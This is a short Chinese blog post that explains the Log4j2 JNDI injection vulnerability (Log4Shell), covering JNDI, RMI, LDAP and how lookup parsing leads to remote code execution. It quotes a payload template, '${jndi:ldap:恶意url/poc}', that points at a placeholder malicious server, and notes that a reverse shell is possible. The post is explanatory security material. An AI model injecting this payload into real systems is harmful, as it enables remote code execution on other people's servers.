log4j2漏洞
- log4j2
log4j2是apache下的java应用常见的开源日志库,java日志记录工具。 - JNDI
java命名和目录接口。允许从指定的远程服务器获取并加载对象。
JNDI相当于一个映射字典,使java应用程序可以和这些命名服务器和目录服务器之间进行交互。
JNDI注入攻击时常通过RMI和LDAP两种服务,JDBC、LDAP、RMI、DNS、NIS、CORBA。
JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API。
1、RMI:远程方法调用
RMI是java提供的一种技术,允许一个程序调用位于另一个JVM中的对象的方法,就像调用本地方法一样。实现分布式系统,常用于在客户端和服务器之间传递对象和执行远程服务。
2、LDAP:轻量级目录访问协议
LDAP开放、跨平台的协议,用于访问和管理基于目录的信息,例如用户、设备和其他资源。
管理和存储用户认证信息;支持身份验证和访问控制。实现资源分层管理,如组织结构,用户组。 - log4j2漏洞原理
log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。在lookup的{}中构造payload,调用JNDI服务向攻击者提前部署号的恶意站点获取恶意的.class对象,造成远程代码执行。(可反弹shell到指定服务器)
攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。
本文作者:予遂计划
本文链接:https://www.cnblogs.com/ysjh/p/18714137
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步